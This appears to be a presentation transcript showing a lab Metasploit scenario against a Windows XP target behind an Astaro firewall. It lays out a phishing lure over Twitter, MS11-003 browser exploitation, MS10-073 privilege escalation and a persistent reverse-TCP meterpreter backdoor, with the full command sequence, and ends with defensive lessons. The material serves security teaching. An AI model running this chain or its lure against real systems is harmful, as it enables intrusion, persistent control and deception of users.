Metasploit Exploitation Scenarios -EN : Scenario 3

Metasploit Scenarios Scenario 3Http:://eromang.zataz.com - Http://twitter.com/eromang

Scenario 3 : Topology Target Attacker 192.168.111.0/24 Astaro Gateway 192.168.178.0/24 Firewall Gateway Astaro Security Gateway 8.102 Transparent HTTP/S Proxy Antivirus : Avira eth0 : 192.168.111.250 (internal interface) eth1 : 192.168.178.250 (external interface) Target Attacker Windows XP SP3 IP : 192.168.178.21 « test » user with limited privileges Metasploit IP : 192.168.111.129 - Default gateway : 192.168.111.250 Antivirus : Dr.Web Security Space Firewall : Windows Firewall Vulnerabilities : Vulnerable to MS11-003 & MS10-073

Scenario 3 : Firewall & Proxy rules • On Astaro Security Gateway : • Internal Network can only surf on Internet through the transparent HTTP/S Proxy • Internal Network is allowed to do « Web Surfing » requests to external (WAN) • « Web Surfing » group consist of : • HTTP (80/TCP), HTTP Proxy (8080/TCP), HTTP Webcache (3128/TCP), HTTPS (443) • Dual AntiVirus scanning (Avira & ClamAV) is activated to check web traffics • On Target : • Dr.Web Firewall is not installed by default. • Windows Firewall configured by default.

Scenario 3 : Story-BoardThe network topology is corresponding to some home users and SMB configurations.The targeted network has 5 countermeasures : • Firewall Gateway rules how permit only internet access through the « Web Surf » group. • A transparent reverse HTTP/S Proxy on the Firewall gateway. • Dual antivirus scanning (Avira & ClamAV) for Web surfing on the Firewall gateway. • Dr.Web Security Space antivirus, with default configuration, installed on the targeted Windows XP SP3. • Windows Firewall with default configuration.They are some open issues for ASG 8, dated from 2011/02/11, for self-signed certificat (ID16438 - ID16255). Somebanking web sites are no more available & exception for Certificat Trust Check does not work in transparent mode.Astaro recommand to disable Scan HTTPS (SSL) Traffic ! http://www.astaro.com/lists/Known_Issues-ASG-V8.txtWe will use these issues as an attack vector, cause all ASG 8.100 and above are affected. Version 8.100 has been releasethe 2011-01-20. Version 8.103 will correct the issue.Target is vulnerable to MS11-003 Internet Explorer vulnerability and to MS10-073 Keyboard Layout vulnerability. • MS11-003 will be our entry point • MS10-073 our privileges escalation vector (Stuxnet).

Scenario 3 : Story-BoardAttacker send a Twitter direct message to the target. The message contain a malicious HTTPS URL (how could beshortened) in order to exploit MS11-003 vulnerability.An Internet Explorer warning message about the HTTPS certiﬁcat is displayed, in the POC we don’t have a valid CA.The target click on the provided link and MS11-003 is exploited. After the exploitation a reverse_tcp meterpreter payload,on port 8080/TCP, is launched.Attacker has to check if these Microsoft patches are installed, in order to do the MS10-073 privilege escalation :• MS11-012 (KB2479628) / MS10-098 (KB2436673) / MS10-073 (KB981957)If any of these patches are installed the MS10-073 privilege escalation is not possible. winenum is the solution.Attacker will then execute the post exploitation MS10-073 privileges escalation.Attacker will install a persistent reverse_tcp meterpreter backdoor as a service on the system.

Scenario 3 : Metasploit commandsuse exploit/windows/browser/ms11_003_ie_css_importset SRVHOST 192.168.178.21set SRVPORT 443set SSL trueset URIPATH /readme.htmlset PAYLOAD windows/meterpreter/reverse_tcpset LHOST 192.168.178.21set LPORT 8080exploitmigrate X -> to another processkill X -> 2 times -> notepad.exe & main iexplorer.exe processesgetuidgetprivsgetsystemsysinfoipconﬁgroutebackgrounduse post/windows/escalate/ms10_073_kbdlayoutset SESSION 1runsessions -i 1getuidmigrate X -> to a «NT AUTHORITYSYSTEM» processrun persistence -U -i 5 -p 8080 -r 192.168.178.21

Scenario 3 : Leasons Learned•Update your OS and applications !•Never click on unknown links, specialy shortened URL’s, from unknown sources !• Always scan HTTPS trafﬁc with antivirus.• Don’t trust your antivirus ! Select antivirus how detect basic attacks !• Don’t trust your Firewalls (Local or remote) !• Follow the « Known Bugs » and « Release Notes » of your applications. 7

http://eromang.zataz.com	423
http://webcache.googleusercontent.com	6
http://translate.googleusercontent.com	4
http://127.0.0.1:8795	1

Metasploit Exploitation Scenarios -EN : Scenario 3

by Eric Romang

Accessibility

Categories

Upload Details

Usage Rights

4 Embeds 434

Statistics

Metasploit Exploitation Scenarios -EN : Scenario 3 Presentation Transcript